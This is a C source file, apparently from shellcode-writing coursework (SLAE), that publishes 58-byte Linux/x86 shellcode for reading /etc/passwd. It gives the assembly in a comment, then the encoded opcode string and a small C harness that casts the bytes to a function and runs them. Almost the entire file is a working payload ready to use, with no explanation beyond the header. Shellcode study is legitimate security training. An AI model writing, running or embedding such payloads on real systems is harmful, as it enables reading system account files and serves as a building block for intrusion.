57 lines
No EOL
1.1 KiB
C
57 lines
No EOL
1.1 KiB
C
/*
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; Title : Linux/x86 - Read /etc/passwd Shellcode (58 bytes)
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; Date : Jan, 2018
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; Author : Joao Batista
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; SLAE ID : SLAE-1420
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; Size : 58 bytes
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; Tested on : i686 GNU/Linux
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global _start
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section .text
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_start:
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xor ecx,ecx
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mul ecx
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jmp short two
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one:
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pop ebx
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mov al,0x5
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int 0x80
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xchg esi,eax
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jmp short read
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exit:
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mov al,byte 0x1
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int 0x80
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read:
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mov ebx,esi
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mov al, 0x3
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mov ecx, esp
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mov dl,0x1
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int 0x80
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xor ebx,ebx
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cmp eax,ebx
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je exit
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add al,0x3
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mov bl,dl
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int 0x80
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jmp short read
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two:
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call one
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string: db "/etc/passwd"
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*/
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#include<stdio.h>
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#include<string.h>
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unsigned char shellcode[] = \
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"\x31\xc9\xf7\xe1\xeb\x24\x5b\xb0\x05\xcd\x80\x96\xeb\x04\xb0\x01\xcd\x80\x89\xf3\xb0\x03\x89\xe1\xb2\x01\xcd\x80\x31\xdb\x39\xd8\x74\xec\x04\x03\x88\xd3\xcd\x80\xeb\xe8\xe8\xd7\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64";
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main()
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{
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printf("shellcode length: %d\n", strlen(shellcode));
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int (*ret)() = (int(*)())shellcode;
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ret();
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} |